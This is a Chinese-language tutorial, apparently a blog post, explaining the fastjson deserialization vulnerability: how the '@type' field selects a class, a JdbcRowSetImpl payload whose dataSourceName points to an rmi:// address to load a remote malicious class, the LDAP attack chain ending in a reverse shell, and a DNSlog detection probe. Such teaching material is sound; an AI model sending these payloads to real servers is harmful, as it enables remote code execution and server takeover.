fastjson漏洞

目录

一.fastjson的简述

二.fastjson原理

三.fastjson反序列漏洞利用条件:

四.fastjson整个的攻击步骤


一.fastjson的简述

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

二.fastjson原理

fastjson是阿里巴巴开发的一个快速处理json格式数据的一个框架,可以将json格式反序列化为一个对象,还可以将一个对象序列化为一个json格式数据,它里面有一个字段属性,这个属性标记了反序列化类,json格式在反序列化的时候会以这个类进行反序列化,当这个类给传的是有害的(JdbcRowSetImpl),就能调用里面的属性或者方法,这时候这里有JdbcRowSetImpl类,这个类有个datasource ,如果以JdbcRowSetImpl类来进行反序列化,并且datasource给的是一个rmi://ip/exp格式数据,就会触发以rmi协议去请求远程服务器上资源,如果这个资源是恶意的,就会造成命令命令执行

首先我们需要知道什么是fastjson格式,以及他序列化的一些形式

json格式数据

一个件,一个值

{

"key1" : "张三",//键:值

"key2" : 大忽悠"

}

也可以嵌套

fastjson是将json格式反序列化为对象,还可以将一个对象序列转换为json格式数据。

json={

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//student是子类哈

}

序列化后:"name":"yy","age":20,"isStudent":123,{"student":"name":"stu",age:18,}

这里有个特性就是会将student这个子类省略,这样的话,在反序列化的时候啊,他不知道name这些属性是属于student这个类,这样就会报错。fastjson为了解决这个问题,就会进行标记。

json={

字段=(student)//同过这个形式进行标记这里就是漏洞点,这里有jdbc协议调用,比如"@type":"com.sun.rowset.jdbcRowSetImpl"

"name":"yy",

"age":20,

"isStudent":123,

"student":"name":"stu",age:18//子类

}

上面就是一个抽象理解过程

下面就是具体的代码理解

{

"b":{

"@type":"com.sun.rowset.jdbcRowSetImpl",//

"dataSourceName":"rmi://dnslog.cn/aaa",//请求rmi服务器上http服务器的aaa资源

"autoCommit":true

}

}

1.@type记录了该原始类型为JdbcRowSetImpl这个类,这样就能快速定位JdbcRowSetImpl 类来进行反序列化。

  1. dataSourceName为属性, rmi://dnslog.cn/aaa为属性值。 这个json数据,可以让fastjson以JdbcRowSetImpl类来反序列化json数据。然后反序列化的时 候会去请求rmi服务器,地址为: dnslog.cn/aaa。然后加载aaa这个有害class文件从而造成代 码执行。

三.fastjson反序列漏洞利用条件:

1.目标服务器存在fastjson。

2.没有对用户传输的数据进行严格过滤。

四.fastjson整个的攻击步骤

这里用ldap协议

1.攻击者使用payload(携带LDAP或rmi服务器的地址)发送给web服务器,网页。

2.web服务器中引发反序列化漏洞,进行ldap远程方法调用,去连接LDAP服务器的端口。

3.LDAP服务指定加载HTTP服务器的恶意java类,所以web页面通过LDAP 服务最终加载并执行了恶意java类。

4.web服务器执行恶意Java类,获得反弹shell,控制了服务器。

五.检测

{

"a":{

"@type":"java.net.Inet4Address",//用ipv4来检测。

"val":"获取的dnslog子域名"

}

}

相关推荐
fan65404149 分钟前
GEO服务商技术评估的四维量化框架:以杭州文澜天下科技为例
运维·人工智能·科技
Lalolander23 分钟前
设备工程项目如何高效管理项目进度与成本?
大数据·运维·设备工程项目管理·设备工程项目成本管理·工程项目进度管理
辉视官方36 分钟前
2026深圳校园安全新方案 | SIP网络广播对讲系统,提升应急响应与智能教学水平
网络·安全
振浩微433射频芯片37 分钟前
告别“遥控失灵”:如何评估国产433芯片在智能家居领域的可靠性?
网络·单片机·嵌入式硬件·物联网·智能家居
pengyi87101540 分钟前
HTTP代理抓包核心原理,全面读懂请求与响应数据逻辑
网络·网络协议·http
云边云科技_云网融合1 小时前
@WAN SASE 1.0 全新起航,重新定义企业网络安全边界
网络·安全·web安全
小辰记事本1 小时前
从零读懂网卡内部架构:一条数据包的硬件之旅
网络·网络协议·架构·rdma
s_w.h1 小时前
【 linux 】理解进程状态
linux·运维·服务器
智慧光迅AINOPOL1 小时前
如何实现全光网的简单运维
网络·全光网解决方案·全光网·校园全光网·校园全光网解决方案
zandy10111 小时前
2026嵌入式BI PaaS平台技术剖析与实现指南
java·运维·paas